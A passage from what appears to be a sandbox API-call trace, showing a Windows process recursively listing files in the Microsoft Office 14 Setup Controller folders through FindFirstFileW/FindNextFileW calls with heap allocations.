lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.419] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.419] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0074.420] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.420] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.420] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.420] GetProcessHeap () returned 0x550000 [0074.420] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.420] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0074.421] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0074.421] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0074.421] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0074.422] GetProcessHeap () returned 0x550000 [0074.422] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.424] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.424] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0074.424] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.425] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.425] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.425] GetProcessHeap () returned 0x550000 [0074.425] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.425] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0074.425] GetProcessHeap () returned 0x550000 [0074.426] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.426] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.427] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.427] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0074.428] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.428] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.428] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.428] GetProcessHeap () returned 0x550000 [0074.428] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.429] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0074.429] GetProcessHeap () returned 0x550000 [0074.429] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.431] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.432] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0074.432] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.432] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.433] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.433] GetProcessHeap () returned 0x550000 [0074.433] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.433] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0074.433] GetProcessHeap () returned 0x550000 [0074.433] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.435] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.435] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0074.436] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0074.436] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.436] GetProcessHeap () returned 0x550000 [0074.436] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.436] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0074.436] GetProcessHeap () returned 0x550000 [0074.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.438] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.438] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0074.439] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0074.439] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.439] GetProcessHeap () returned 0x550000 [0074.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.439] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0074.439] GetProcessHeap () returned 0x550000 [0074.440] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.441] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.441] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0074.442] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0074.442] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.442] GetProcessHeap () returned 0x550000 [0074.442] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.442] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0074.442] GetProcessHeap () returned 0x550000 [0074.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 